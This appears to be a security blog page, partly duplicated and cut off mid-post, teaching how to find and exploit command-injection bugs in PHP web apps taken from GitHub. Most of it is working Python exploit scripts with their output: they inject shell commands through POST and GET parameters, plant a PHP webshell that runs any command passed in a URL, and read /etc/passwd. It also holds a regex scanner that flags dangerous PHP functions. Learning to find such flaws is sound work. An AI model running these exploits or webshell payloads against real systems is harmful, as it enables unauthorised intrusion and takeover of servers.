RCE - LAB 2:0
====================================================================
And again, few examples of vulnerable codes. Few poc's included.
Have fun a take care ;)
====================================================================
All examples you will find at www.github.com:
====================================================================
1. Scilab-WebApp / db-interaction / create-delete-file.php -- (year ago)
--- < code > ---
<?php
if(!empty($_POST['file']) && !empty($_POST['directory'])){
if($_POST['action']=="crear"){
shell_exec('touch ../'.$_POST['directory'].'/'.$_POST['file']);
}
if($_POST['action']=="borrar"){
shell_exec('rm ../'.$_POST['directory'].'/'.$_POST['file']);
}
if($_POST['action']=="comprimir"){
shell_exec('zip ../'.$_POST['directory'].'/files.zip ../'.$_POST['directory'].'/'.$_POST['file']);
}
if($_POST['action']=="guardar"){
shell_exec('echo "'.$_POST['file'].'" > ../'.$_POST['directory']);
}
}
?>
--- < code > ---
As you can see this file is a part of bigger webapp. For our purpose, to learn
how to exploit RCE vulnerabilities, we will use only this one file. Check it out:
To exploit this vulnerability mentioned ('../') directory must be writeable.
Chmod it now (or move your 'create...' file to test-dir - 'xx' dir at my box).
Let's see, what 'actions' we have (to exploit ;]).
PoC will need this settings: (must send all via HTTP POST)
- actions=borrar
- directory=someDir+our;payload
- file=whate.ver
From 'directory' parameter (for this 'action') we should have a very easy way
to exit to let's say 'bash-shell-query-line'. From here, we can add our command.
Let's create a little PoC:
--- < code > ---
kuba@lap:~/src/py/p0c$ cat scilab-webapp-poc.py
#!/usr/bin/env python
# * remember to chmod 777 to 'xx' directory
# --
import httplib, urllib
import sys
url = sys.argv[1]+':80'
path = '/kuba/github/xx/create-delete-file.php'
poc = 'echo \'<?php $c=$_GET[\'c\'];echo system($c);?>\' >> xxx.php ' # add simple backdoor webshell
params = urllib.urlencode({'action': 'borrar','directory':'./;'+poc+';#' ,'file': 'xxx.php'})
headers = {"Content-type": "application/x-www-form-urlencoded", "Accept": "text/plain"}
conn = httplib.HTTPConnection(url)
conn.request("POST", path , params, headers)
response = conn.getresponse()
data = response.read()
if response.status == 200:
print 'Server : ', response.status, response.reason
print 'Your shell is /xxx.php\n'
else:
print 'something\'s wrong... :C \n'
kuba@lap:~/src/py/p0c$
--- < code > ---
Output from this simple poc should be similar to this one below:
--- < code > ---
kuba@lap:~/src/py/p0c$ ls -la /home/kuba/public_html/github/xx/
total 12
drwxrwxrwx 2 kuba kuba 4096 Jun 18 15:12 .
drwxrwxr-x 9 kuba kuba 4096 Jun 18 14:48 ..
-rwxrwxrwx 1 kuba kuba 623 Jun 18 15:00 create-delete-file.php
kuba@lap:~/src/py/p0c$ ./scilab-webapp-poc.py 192.168.1.102
Server : 200 OK
Your shell is /xxx.php
kuba@lap:~/src/py/p0c$ ls -la /home/kuba/public_html/github/xx/
total 16
drwxrwxrwx 2 kuba kuba 4096 Jun 18 15:20 .
drwxrwxr-x 9 kuba kuba 4096 Jun 18 14:48 ..
-rwxrwxrwx 1 kuba kuba 623 Jun 18 15:00 create-delete-file.php
-rw-r--r-- 1 www-data www-data 37 Jun 18 15:20 xxx.php
kuba@lap:~/src/py/p0c$ cat /home/kuba/public_html/github/xx/xxx.php
<?php $c=$_GET[c];echo system($c);?>
kuba@lap:~/src/py/p0c$
--- < code > ---
If you want, create PoC's for other 'actions' (let's say, as a 'homework' ;) )
========================================================
2. Gravel / gravel-web / adduseraction.php
--- < code > ---
<?php
$username = $_POST["name"];
$executeString = 'grvladmin add user '.$username;
//echo $executeString;
$results = shell_exec($executeString);
header("Location: addusers.php");
?>
--- < code > ---
Great let's see, if we can set 'our-evil-name' for this POST parameter:
--- < code > ---
kuba@lap:~/src/py/p0c$ ./adduseraction-poc.py 192.168.1.102
Server : 302 Found
Your shell should be at 777dir//xxx.php
kuba@lap:~/src/py/p0c$ ls -la /home/kuba/public_html/github/rcelab/777dir
total 16
drwxrwxrwx 2 kuba kuba 4096 Jun 18 15:30 .
drwxrwxr-x 6 kuba kuba 4096 Jun 18 15:25 ..
-rw-r--r-- 1 www-data www-data 41 Jun 18 10:49 hihi.php
-rw-r--r-- 1 www-data www-data 37 Jun 18 15:30 xxx.php
kuba@lap:~/src/py/p0c$ cat adduseraction-poc.py
#!/usr/bin/env python
import httplib, urllib
import sys
url = sys.argv[1]+':80'
path = '/kuba/github/rcelab/adduseraction.php'
poc = 'echo \'<?php $c=$_GET[\'c\'];echo system($c);?>\' >> ./777dir/xxx.php ' # add backdoor webshell
params = urllib.urlencode({'name': 'x;'+poc+';#'})
headers = {"Content-type": "application/x-www-form-urlencoded", "Accept": "text/plain",'Location':'addusers.php'}
conn = httplib.HTTPConnection(url)
conn.request("POST", path , params, headers)
response = conn.getresponse()
data = response.read()
if response.status == 302:
print 'Server : ', response.status, response.reason
print 'Your shell should be at 777dir//xxx.php\n'
else:
print response.status, response.reason
print 'something\'s wrong... :C \n'
kuba@lap:~/src/py/p0c$
--- < code > ---
Browser? Ok: http://192.168.1.102/kuba/github/rcelab/777dir/xxx.php?c=id
Response like: uid=33(www-data) gid=33(www-data) groups=33(www-data)
Great.
Durinng this search you will probably find similar directories to this one:
https://github.com/BayshoreNetworks/l7secassay
Test it to.
========================================================
3. lab-virtual-ufc / lab_virtual_teoria / students / renameFile.php
--- < code > ---
<?
$login = $_GET["login"];
$area = $_GET["area"];
$oldName = $_GET["oldName"];
$newName = $_GET["newName"];
system("cd $login && cd $area && mv $oldName $newName");
?>
--- < code > ---
What to do here? Let's put a webshell via this vulnerability.
--- < code > ---
kuba@lap:~/src/py/p0c$ cat renameFile-poc.py
#!/usr/bin/env python
# to exploit this vuln, we need dir where we can write file
# --
import urllib2
import sys
host = sys.argv[1]
cmd = 'x;echo%20\'<?php%20$c=$_GET[\'c\'];echo%20system($c);?>\'%20>%20./777dir/sh.php'
vulnurl = '/kuba/github/rcelab/renameFile.php?login='+cmd+'&area=./&oldName=a&newName=b'
vuln = host+vulnurl
if len(sys.argv) == 2:
check = urllib2.urlopen(vuln)
page = check.readlines()
print 'RCE PoC for Tourism WebApp at: ',host
print '[+] add webshell...'
print '[+] your shell should be now in: 777dir/sh.php'
for line in page:
print line
check.close()
else:
print 'host cmd...\n'
kuba@lap:~/src/py/p0c$
--- < code > ---
Now if we'll run it, we should see something like:
--- < code > ---
kuba@lap:~/src/py/p0c$ ./renameFile-poc.py http://192.168.1.102
RCE PoC for Tourism WebApp at: http://192.168.1.102
[+] add webshell...
[+] your shell should be now in: 777dir/sh.php
kuba@lap:~/src/py/p0c$
--- < code > ---
As you see after those 3 examples, searching for bugs can be very funny job :)
You can develop your skills and help other people with their projects.
Let me know if you have any questions.
Cheers!
o/
Showing posts with label python webscanner. Show all posts
Showing posts with label python webscanner. Show all posts
Tuesday, 18 June 2013
[EN] RCE - another lesson
Hi,
few days ago I wrote short post about finding potential vulnerable piece of code at github.com
Today we will use it to find few vulnerable 'webapps' and write PoC's for vulnerabilities we will find.
What we will actually need is:
- python
- browser
- internet connection (in case you have a linux with apache/php server installed)
In our 'test-server-box' we will need a directory to store our vulnerable-example-webapp-codes.
For this case let it be /home/kuba/public_html/github/.
How to start.
It's not a problem to download a lot of MBs from github. But checking it all
'manually' can be painful. Let's make a trick to speed-up our work a little.
At this stage, what we want 'the most' is remote command execution vulnerability somewhere in the code.
Ok.
Let check again post from seclists.org to find out how we can search for vulnerable code located
at github.com.
In case you don't know what function(s) you need to find (to exploit it via RCE),
maybe this page will interest you.
As we know, we are looking for RCE vulnerabilities. This means we're looking
for piece of code, where user can send 'some value' to webapp, and (because of
no filtering for this 'value') this webapp will 'execute' (via function-to-exec) this 'value'.
Ok.
Code below is based at only one function (shell_exec for our examples).
Start this code agains few webapps that you found at GitHub. It should find
few 'vulnerabilities'. Check this out:
Our 'simple scanner' found something interesting:
--- output ---
[+] --- filename ------------------------------------ > process.php
[!] =========> [+] Found RCE bug, check at source:
[ -> line number: [ 3 ]
[ check parameter here, maybe it's not/wrong filtered :]
$output = shell_exec($_GET['command']);
-------> next ----> bug ---> -------------
--- output ---
As you will see after a while playing this code, there is no '100% vulnerable code found'.
This is just as 'see here, maybe its useful' output. ;) You should read the code anyway!
Ok. So now we have few webapps downloaded from GitHub.
Let's extract them to our www-root (/home/kuba/public_html/github/):
Next step is to write a simple 'scanner-code' to find out if there is any vulnerability (RCE
via shell_exec in this case, but there is no problem to extend this 'scanner' to find more vulnerable functions/behaviors).
--- code ---
kuba@lap:~/src/py/siema$ cat siema-rcelab.py
#!/usr/bin/env python
import re
import sys
import os
dirname=sys.argv[1]
# get_files - listuje katalog z plikami
def get_files(dirname):
for dirname, dirnames, filenames in os.walk(dirname):
# print path to all filenames.
print '[+] dirname to check: ', dirname
print '\n___________________________________________'
for filename in filenames:
# czyta plik podany z argv[1]
# nastepnie, szuka w nim kolejno 'podatnosci'...
def reada_file(filename):
print '[+] --- filename ------------------------------------ > ',filename
with open(dirname+'/'+filename,'r') as fd:
n_line = 0
for line in fd.readlines():
n_line += 1
rce_regex = re.compile(r'((shell_exec[(]|passthru[(]|system[(]|curl_exec[(])(.*)[$].*)')
found = re.search(rce_regex, line)
if found:
print ('\t[!] =========> [+] Found RCE bug, check at source:\n')
print ('\t[ -> line number: [ %d ]\n') % (n_line)
print ('\t[ check parameter here, maybe it\'s not/wrong filtered :]\n %s') % (line)
print '-------> next ----> bug ---> -------------\n'
# ------------------------------ end of tests
n_line=n_line+1
# end reada_file()
print ''
reada_file(filename)
## end get_files()
##################
# MAIN:
##################
print '[+] Checking started:\n'
get_files(dirname)
print '\n'
print '+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++'
print '+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++'
kuba@lap:~/src/py/siema$
--- code ---
(Of course, similar output we can get from simple grep command, but this is not the case right now.)
Later, as a draft-of-idea I will add here extended version of this 'python-scanner'.
Let's start it:
kuba@lap:~/src/py/siema$ ./siema-rcelab.py /home/kuba/public_html/github/rcelab/tourism/ > tourism.log
In tourism.log we can find a lot of strings so, I will suggest you 'read' this file by 'less' command:
$ less tourism.log... (Type: /text to find 'text'. Let's check for /shell_exec or /Found)
(...)
[+] --- filename ------------------------------------ > process.php
[!] =========> [+] Found RCE bug, check at source:
[ -> line number: [ 3 ]
[ check parameter here, maybe it's not/wrong filtered :]
$output = shell_exec($_GET['command']);
-------> next ----> bug ---> -------------
(...)
Ok, it seems that our super-code found something! ;]
We can verify it in two ways: first (in this case) via browser (because it is a simple GET request) and second: via our simple proof-of-concept code.
Open your browser and go to:
http://192.168.1.102/kuba/github/rcelab/tourism/Philippine-Tourism-master/
at this stage it was big surprise for me, that this 'webapp' with RCE vulnerability
is actually a WordPress installation ;)
Our vulnerable file is:
./Philippine-Tourism-master/dashboard/git/process.php
After default installation, let's check if we can exploit this vulnerability via browser:
... of course we can! ;]
(By the way, what is 'pino' you will find at GitHub in the 'way' mentioned before:
).
Ok, so first method (browser) is working, let's find out, how we can write a simple python PoC
to exploit this vulnerbaility:
--- code ---
kuba@lap:~/src/py$ cat pino-poc.py
#!/usr/bin/env python
import urllib2
import sys
#host = 'http://192.168.1.102'
host = sys.argv[1]
#cmd = 'id;ls%20-la;uname%20-a'
cmd = sys.argv[2]
vulnurl = '/kuba/github/rcelab/tourism/Philippine-Tourism-master/dashboard/git/process.php?command='+cmd
vuln = host+vulnurl
if len(sys.argv) == 3:
check = urllib2.urlopen(vuln)
page = check.readlines()
print 'RCE PoC for Tourism WebApp at: ',host
start = '<pre>'
stop = '</pre>'
print 'exec: ',cmd
for line in page:
print line[len(start):-len(stop)]
check.close()
else:
print 'host cmd...\n'
--- code ---
Ok, great. now let's check if it's working:
--- code ---
kuba@lap:~/src/py$ ./pino-poc.py http://192.168.1.102 uname -a
RCE PoC for Tourism WebApp at: http://192.168.1.102
exec: uname -a
Linux lap 3.5.0-17-generic #28-Ubuntu SMP Tue Oct 9 19:32:08 UTC 2012 i686 i686 i686 GNU/Linux
kuba@lap:~/src/py$
--- code ---
As you can see, vulnerability is 'verified'. ;]
If you will have any troubles with command, try like this:
(...)
kuba@lap:~/src/py$ ./pino-poc.py http://192.168.1.102 cat+/etc/passwd
RCE PoC for Tourism WebApp at: http://192.168.1.102
exec: cat+/etc/passwd
root:(...)
(...)
It should work too.
-- Kamikaze
Let's try how we can exploit another vulnerable webapplication.
kuba@lap:~/src/py/siema$ ./siema-rcelab.py /home/kuba/public_html/github/rcelab/kamikaze/kamikaze-master/|less
(/Found ... to search for RCE ;])
(...)
[+] --- filename ------------------------------------ > bloodywork.php
[!] =========> [+] Found RCE bug, check at source:
[ -> line number: [ 7 ]
[ check parameter here, maybe it's not/wrong filtered :]
shell_exec($cmd);
-------> next ----> bug ---> -------------
(...)
Let's check how bloodywork.php file looks like (and where there is a shell_exec, and what is $cmd param;)):
kuba@lap:~/public_html/github/rcelab/kamikaze/kamikaze-master$ cat bloodywork.php
<?php
$controlvalue = $_GET["control"];
$cmd = "./IPC ".$controlvalue;
shell_exec($cmd);
?>
kuba@lap:~/public_html/github/rcelab/kamikaze/kamikaze-master$
Great.
So our PoC for example before, we can modify a little to exploit 'Kamikaze':
After few modification, code should looks like this:
--- kamikaze-poc.py ---
kuba@lap:~/src/py$ cat kamikaze-poc.py
#!/usr/bin/env python
# to use this PoC we'll need a directory 777 at remote host!
#
import urllib2
import sys
#host = 'http://192.168.1.102'
host = sys.argv[1]
#cmd = 'id;ls%20-la;uname%20-a'
shell = sys.argv[2]
path = '/github/rcelab/kamikaze/kamikaze-master/'
vulnurl = '/bloodywork.php?control=x;/bin/echo+\'<?php+$c=$_GET[\'c\'];echo+shell_exec($c);?>\'+>+/home/kuba/public_html/'+path+'../../777dir/'+shell
vuln = host+path+vulnurl
if len(sys.argv) == 3:
check = urllib2.urlopen(vuln)
page = check.readlines()
print 'RCE PoC for Kamikaze WebApp at: ',host
print '\n-----\nshell should be here: ',path+shell
check.close()
else:
print 'host/page/ your-shell-at-webroot\n'
kuba@lap:~/src/py$
--- kamikaze-poc.py ---
(To exploit this vulnerability, you must know location of directory when you can write (chmod 777).
As you can see I decide to create one (777dir) at my /github/'s root (just to show you,
how other this kind of vulnerabilities can be exploited.)
Run poc to see a shell.php in 777dir:
--- code ---
kuba@lap:~/src/py$ ./kamikaze-poc.py http://192.168.1.102/kuba/ hihi.php
RCE PoC for Kamikaze WebApp at: http://192.168.1.102/kuba/
-----
shell should be here: /github/rcelab/kamikaze/kamikaze-master/hihi.php
--- code ---
Checking...
--- code ---
kuba@lap:~/src/py$ ls -la /home/kuba/public_html/github/rcelab/777dir/
total 12
drwxrwxrwx 2 kuba kuba 4096 Jun 18 10:49 .
drwxrwxr-x 5 kuba kuba 4096 Jun 18 10:39 ..
-rw-r--r-- 1 www-data www-data 41 Jun 18 10:49 hihi.php
kuba@lap:~/src/py$ cat /home/kuba/public_html/github/rcelab/777dir/hihi.php
<?php $c=$_GET[c];echo shell_exec($c);?>
kuba@lap:~/src/py$
--- code ---
Now in our browser we can type:
http://192.168.1.102/kuba/github/rcelab/777dir/hihi.php?c=id
Exploited.
For both cases we used GET method to exploit vulnerable code.
In third example we will send our exploit via POST.
At mentioned GitHub, we can easlz find POST-variable vulnerable to RCE.
Check it out:
kuba@lap:~/src/py/siema$ ./siema-rcelab.py /home/kuba/public_html/github/rcelab/vauteck/aggreg_platform-master/| less
(/Found... aby znalezc RCE)
--- code ---
[+] --- filename ------------------------------------ > exec.php
[!] =========> [+] Found RCE bug, check at source:
[ -> line number: [ 5 ]
[ check parameter here, maybe it's not/wrong filtered :]
echo json_encode(shell_exec($cmd));
-------> next ----> bug ---> -------------
--- code ---
Great. Let's see what's in the code:
--- code ---
kuba@lap:~/public_html/github/rcelab/vauteck/aggreg_platform-master/www$ cat exec.php
<?php
$cmd = $_POST["cmd"];
echo json_encode(shell_exec($cmd));
?>
kuba@lap:~/public_html/github/rcelab/vauteck/aggreg_platform-master/www$
--- code ---
Ok.
We can now start to write a simple proof-of-concept using POST method to send the payload.
--- example poc-code ---
kuba@lap:~/src/py$ cat POST-poc2.py
#!/usr/bin/env python
import httplib, urllib
import sys
target = sys.argv[1]
poc = sys.argv[2]
path = '/kuba/github/rcelab/vauteck/aggreg_platform-master/www/exec.php'
url = target + path
headers = {"Content-type": "application/x-www-form-urlencoded", "Accept": "text/plain"}
params = 'cmd='+poc
conn = httplib.HTTPConnection(target)
conn.request('POST',path,params,headers)
response = conn.getresponse()
if response.status == 200:
print '[+] exploit works: ',response.status, response.reason
data = response.read()
print data
else:
print '[-] sploit failed :C\n'
kuba@lap:~/src/py$
--- example poc-code ---
And run it, like:
--- code ---
kuba@lap:~/src/py$ ./POST-poc2.py 192.168.1.102 id
[+] exploit works: 200 OK
"uid=33(www-data) gid=33(www-data) groups=33(www-data)\n"
kuba@lap:~/src/py$ ./POST-poc2.py 192.168.1.102 uname
[+] exploit works: 200 OK
"Linux\n"
kuba@lap:~/src/py$ ./POST-poc2.py 192.168.1.102 whoami
[+] exploit works: 200 OK
"www-data\n"
kuba@lap:~/src/py$
--- code ---
This is how we create 3 PoC's for 3 vulnerable webapplications:
- RCE via GET
- RCE via POST
- remote webshell creating
In case you want to learn how to find vulnerabilities in webapps and write a little code in python,
maybe code below is for you. This is a simple python-based-scanner for PHP webapps.
As you will see below, 'functions to search for vulns' can be easly extended/changed.
So... have fun! ;)
--- siema2.py ---
#!/usr/bin/env python
import re
import sys
import os
dirname=sys.argv[1]
# get_files - listuje katalog z plikami
def get_files(dirname):
for dirname, dirnames, filenames in os.walk(dirname):
# print path to all filenames.
print '[+] dirname to check: ', dirname
print '\n___________________________________________'
for filename in filenames:
# czyta plik podany z argv[1]
# nastepnie, szuka w nim kolejno 'podatnosci'...
def reada_file(filename):
print '[+] --- filename ------------------------------------ > ',filename
with open(dirname+'/'+filename,'r') as fd:
n_line = 0
for line in fd.readlines():
n_line += 1
rce_regex = re.compile(r'((shell_exec[(]|passthru[(]|system[(]|curl_exec[(])(.*)[$].*)')
found = re.search(rce_regex, line)
if found:
print ('\t[!] =========> [+] Found RCE bug, check at source:\n')
print ('\t[ -> line number: [ %d ]\n') % (n_line)
print ('\t[ check parameter here, maybe it\'s not/wrong filtered :]\n %s') % (line)
print '-------> next ----> bug ---> -------------\n'
fi_regex = re.compile(r'((include[(]|include_once[(])(.*)[$].*)')
if fi_regex:
found = re.search(fi_regex, line)
if found:
# if (line.find('_GET') != -1) | (line.find('_POST') != -1) :
print ('\t[!] =========> [+] Found LFI/RFI (include) bug, check at source:\n')
print ('\t[ -> line number: [ %d ]\n') % (n_line)
print ('\t[ check parameter here, maybe it\'s not/wrong filtered :]\n %s') % (line)
print '-------> next ----> bug ---> -------------\n'
fi2_regex = re.compile(r'((require[(]|require_once[(])(.*)[$].*)')
if fi2_regex:
found = re.search(fi2_regex, line)
if found:
# if (line.find('_GET') != -1) | (line.find('_POST') != -1) :
print ('\t[!] =========> [+] Found LFI/RFI (require) bug, check at source:\n')
print ('\t[ -> line number: [ %d ]\n') % (n_line)
print ('\t[ check parameter here, maybe it\'s not/wrong filtered :]\n %s') % (line)
print '-------> next ----> bug ---> -------------\n'
fopen_regex = re.compile(r'((fopen[(]|fwrite[(]|file_get_contents[(]|file_put_contents[(]|fread[(])(.*)[$].*)')
if fopen_regex:
found = re.search(fopen_regex, line)
if found:
if (line.find('_GET') != -1) | (line.find('_POST') != -1) :
print ('\t[!] =========> [+] Found interesting function related to file-write/read. Maybe it\'s bug, check it at source:\n')
print ('\t[ -> line number: [ %d ]\n') % (n_line)
print ('\t[ check parameter here, maybe it\'s not filtered :]\n %s') % (line)
print '-------> next ----> bug ---> -------------\n'
else:
print ('\t[!] =========> [+] Found interesting function related to file-write/read. Maybe it\'s bug, check it at source:\n')
print ('\t[ -> line number: [ %d ]\n') % (n_line)
print ('\t[ check parameter here, maybe it\'s not filtered :]\n %s') % (line)
print '-------> next ----> bug ---> -------------\n'
preg_regex = re.compile(r'((preg_replace[(]|preg_match[(])(.*)[$].*)')
if preg_regex:
found = re.search(preg_regex, line)
if found:
if (line.find('_GET') != -1) | (line.find('_POST') != -1) :
print ('\t[!] =========> [+] Found interesting function related to *preg_match* write/read. Maybe it\'s bug, check it at source:\n')
print ('\t[ -> line number: [ %d ]\n') % (n_line)
print ('\t[ check parameter here, maybe it\'s not filtered :]\n %s') % (line)
print '-------> next ----> bug ---> -------------\n'
# ------------------------------ end of tests
n_line=n_line+1
# end reada_file()
print ''
reada_file(filename)
## end get_files()
##################
# MAIN:
##################
print '[+] Checking started:\n'
get_files(dirname)
print '\n'
print '+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++'
print '+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++'
--- siema2.py ---
If you have any questions, feel free to ask.
Once again, have fun! ;)
few days ago I wrote short post about finding potential vulnerable piece of code at github.com
Today we will use it to find few vulnerable 'webapps' and write PoC's for vulnerabilities we will find.
What we will actually need is:
- python
- browser
- internet connection (in case you have a linux with apache/php server installed)
In our 'test-server-box' we will need a directory to store our vulnerable-example-webapp-codes.
For this case let it be /home/kuba/public_html/github/.
How to start.
It's not a problem to download a lot of MBs from github. But checking it all
'manually' can be painful. Let's make a trick to speed-up our work a little.
At this stage, what we want 'the most' is remote command execution vulnerability somewhere in the code.
Ok.
Let check again post from seclists.org to find out how we can search for vulnerable code located
at github.com.
In case you don't know what function(s) you need to find (to exploit it via RCE),
maybe this page will interest you.
As we know, we are looking for RCE vulnerabilities. This means we're looking
for piece of code, where user can send 'some value' to webapp, and (because of
no filtering for this 'value') this webapp will 'execute' (via function-to-exec) this 'value'.
Ok.
Code below is based at only one function (shell_exec for our examples).
Start this code agains few webapps that you found at GitHub. It should find
few 'vulnerabilities'. Check this out:
Our 'simple scanner' found something interesting:
--- output ---
[+] --- filename ------------------------------------ > process.php
[!] =========> [+] Found RCE bug, check at source:
[ -> line number: [ 3 ]
[ check parameter here, maybe it's not/wrong filtered :]
$output = shell_exec($_GET['command']);
-------> next ----> bug ---> -------------
--- output ---
As you will see after a while playing this code, there is no '100% vulnerable code found'.
This is just as 'see here, maybe its useful' output. ;) You should read the code anyway!
Ok. So now we have few webapps downloaded from GitHub.
Let's extract them to our www-root (/home/kuba/public_html/github/):
Next step is to write a simple 'scanner-code' to find out if there is any vulnerability (RCE
via shell_exec in this case, but there is no problem to extend this 'scanner' to find more vulnerable functions/behaviors).
--- code ---
kuba@lap:~/src/py/siema$ cat siema-rcelab.py
#!/usr/bin/env python
import re
import sys
import os
dirname=sys.argv[1]
# get_files - listuje katalog z plikami
def get_files(dirname):
for dirname, dirnames, filenames in os.walk(dirname):
# print path to all filenames.
print '[+] dirname to check: ', dirname
print '\n___________________________________________'
for filename in filenames:
# czyta plik podany z argv[1]
# nastepnie, szuka w nim kolejno 'podatnosci'...
def reada_file(filename):
print '[+] --- filename ------------------------------------ > ',filename
with open(dirname+'/'+filename,'r') as fd:
n_line = 0
for line in fd.readlines():
n_line += 1
rce_regex = re.compile(r'((shell_exec[(]|passthru[(]|system[(]|curl_exec[(])(.*)[$].*)')
found = re.search(rce_regex, line)
if found:
print ('\t[!] =========> [+] Found RCE bug, check at source:\n')
print ('\t[ -> line number: [ %d ]\n') % (n_line)
print ('\t[ check parameter here, maybe it\'s not/wrong filtered :]\n %s') % (line)
print '-------> next ----> bug ---> -------------\n'
# ------------------------------ end of tests
n_line=n_line+1
# end reada_file()
print ''
reada_file(filename)
## end get_files()
##################
# MAIN:
##################
print '[+] Checking started:\n'
get_files(dirname)
print '\n'
print '+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++'
print '+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++'
kuba@lap:~/src/py/siema$
--- code ---
(Of course, similar output we can get from simple grep command, but this is not the case right now.)
Later, as a draft-of-idea I will add here extended version of this 'python-scanner'.
Let's start it:
kuba@lap:~/src/py/siema$ ./siema-rcelab.py /home/kuba/public_html/github/rcelab/tourism/ > tourism.log
In tourism.log we can find a lot of strings so, I will suggest you 'read' this file by 'less' command:
$ less tourism.log... (Type: /text to find 'text'. Let's check for /shell_exec or /Found)
(...)
[+] --- filename ------------------------------------ > process.php
[!] =========> [+] Found RCE bug, check at source:
[ -> line number: [ 3 ]
[ check parameter here, maybe it's not/wrong filtered :]
$output = shell_exec($_GET['command']);
-------> next ----> bug ---> -------------
(...)
Ok, it seems that our super-code found something! ;]
We can verify it in two ways: first (in this case) via browser (because it is a simple GET request) and second: via our simple proof-of-concept code.
Open your browser and go to:
http://192.168.1.102/kuba/github/rcelab/tourism/Philippine-Tourism-master/
at this stage it was big surprise for me, that this 'webapp' with RCE vulnerability
is actually a WordPress installation ;)
Our vulnerable file is:
./Philippine-Tourism-master/dashboard/git/process.php
After default installation, let's check if we can exploit this vulnerability via browser:
... of course we can! ;]
(By the way, what is 'pino' you will find at GitHub in the 'way' mentioned before:
).
Ok, so first method (browser) is working, let's find out, how we can write a simple python PoC
to exploit this vulnerbaility:
--- code ---
kuba@lap:~/src/py$ cat pino-poc.py
#!/usr/bin/env python
import urllib2
import sys
#host = 'http://192.168.1.102'
host = sys.argv[1]
#cmd = 'id;ls%20-la;uname%20-a'
cmd = sys.argv[2]
vulnurl = '/kuba/github/rcelab/tourism/Philippine-Tourism-master/dashboard/git/process.php?command='+cmd
vuln = host+vulnurl
if len(sys.argv) == 3:
check = urllib2.urlopen(vuln)
page = check.readlines()
print 'RCE PoC for Tourism WebApp at: ',host
start = '<pre>'
stop = '</pre>'
print 'exec: ',cmd
for line in page:
print line[len(start):-len(stop)]
check.close()
else:
print 'host cmd...\n'
--- code ---
Ok, great. now let's check if it's working:
--- code ---
kuba@lap:~/src/py$ ./pino-poc.py http://192.168.1.102 uname -a
RCE PoC for Tourism WebApp at: http://192.168.1.102
exec: uname -a
Linux lap 3.5.0-17-generic #28-Ubuntu SMP Tue Oct 9 19:32:08 UTC 2012 i686 i686 i686 GNU/Linux
kuba@lap:~/src/py$
--- code ---
As you can see, vulnerability is 'verified'. ;]
If you will have any troubles with command, try like this:
(...)
kuba@lap:~/src/py$ ./pino-poc.py http://192.168.1.102 cat+/etc/passwd
RCE PoC for Tourism WebApp at: http://192.168.1.102
exec: cat+/etc/passwd
root:(...)
(...)
It should work too.
-- Kamikaze
Let's try how we can exploit another vulnerable webapplication.
kuba@lap:~/src/py/siema$ ./siema-rcelab.py /home/kuba/public_html/github/rcelab/kamikaze/kamikaze-master/|less
(/Found ... to search for RCE ;])
(...)
[+] --- filename ------------------------------------ > bloodywork.php
[!] =========> [+] Found RCE bug, check at source:
[ -> line number: [ 7 ]
[ check parameter here, maybe it's not/wrong filtered :]
shell_exec($cmd);
-------> next ----> bug ---> -------------
(...)
Let's check how bloodywork.php file looks like (and where there is a shell_exec, and what is $cmd param;)):
kuba@lap:~/public_html/github/rcelab/kamikaze/kamikaze-master$ cat bloodywork.php
<?php
$controlvalue = $_GET["control"];
$cmd = "./IPC ".$controlvalue;
shell_exec($cmd);
?>
kuba@lap:~/public_html/github/rcelab/kamikaze/kamikaze-master$
Great.
So our PoC for example before, we can modify a little to exploit 'Kamikaze':
After few modification, code should looks like this:
--- kamikaze-poc.py ---
kuba@lap:~/src/py$ cat kamikaze-poc.py
#!/usr/bin/env python
# to use this PoC we'll need a directory 777 at remote host!
#
import urllib2
import sys
#host = 'http://192.168.1.102'
host = sys.argv[1]
#cmd = 'id;ls%20-la;uname%20-a'
shell = sys.argv[2]
path = '/github/rcelab/kamikaze/kamikaze-master/'
vulnurl = '/bloodywork.php?control=x;/bin/echo+\'<?php+$c=$_GET[\'c\'];echo+shell_exec($c);?>\'+>+/home/kuba/public_html/'+path+'../../777dir/'+shell
vuln = host+path+vulnurl
if len(sys.argv) == 3:
check = urllib2.urlopen(vuln)
page = check.readlines()
print 'RCE PoC for Kamikaze WebApp at: ',host
print '\n-----\nshell should be here: ',path+shell
check.close()
else:
print 'host/page/ your-shell-at-webroot\n'
kuba@lap:~/src/py$
--- kamikaze-poc.py ---
(To exploit this vulnerability, you must know location of directory when you can write (chmod 777).
As you can see I decide to create one (777dir) at my /github/'s root (just to show you,
how other this kind of vulnerabilities can be exploited.)
Run poc to see a shell.php in 777dir:
--- code ---
kuba@lap:~/src/py$ ./kamikaze-poc.py http://192.168.1.102/kuba/ hihi.php
RCE PoC for Kamikaze WebApp at: http://192.168.1.102/kuba/
-----
shell should be here: /github/rcelab/kamikaze/kamikaze-master/hihi.php
--- code ---
Checking...
--- code ---
kuba@lap:~/src/py$ ls -la /home/kuba/public_html/github/rcelab/777dir/
total 12
drwxrwxrwx 2 kuba kuba 4096 Jun 18 10:49 .
drwxrwxr-x 5 kuba kuba 4096 Jun 18 10:39 ..
-rw-r--r-- 1 www-data www-data 41 Jun 18 10:49 hihi.php
kuba@lap:~/src/py$ cat /home/kuba/public_html/github/rcelab/777dir/hihi.php
<?php $c=$_GET[c];echo shell_exec($c);?>
kuba@lap:~/src/py$
--- code ---
Now in our browser we can type:
http://192.168.1.102/kuba/github/rcelab/777dir/hihi.php?c=id
Exploited.
For both cases we used GET method to exploit vulnerable code.
In third example we will send our exploit via POST.
At mentioned GitHub, we can easlz find POST-variable vulnerable to RCE.
Check it out:
kuba@lap:~/src/py/siema$ ./siema-rcelab.py /home/kuba/public_html/github/rcelab/vauteck/aggreg_platform-master/| less
(/Found... aby znalezc RCE)
--- code ---
[+] --- filename ------------------------------------ > exec.php
[!] =========> [+] Found RCE bug, check at source:
[ -> line number: [ 5 ]
[ check parameter here, maybe it's not/wrong filtered :]
echo json_encode(shell_exec($cmd));
-------> next ----> bug ---> -------------
--- code ---
Great. Let's see what's in the code:
--- code ---
kuba@lap:~/public_html/github/rcelab/vauteck/aggreg_platform-master/www$ cat exec.php
<?php
$cmd = $_POST["cmd"];
echo json_encode(shell_exec($cmd));
?>
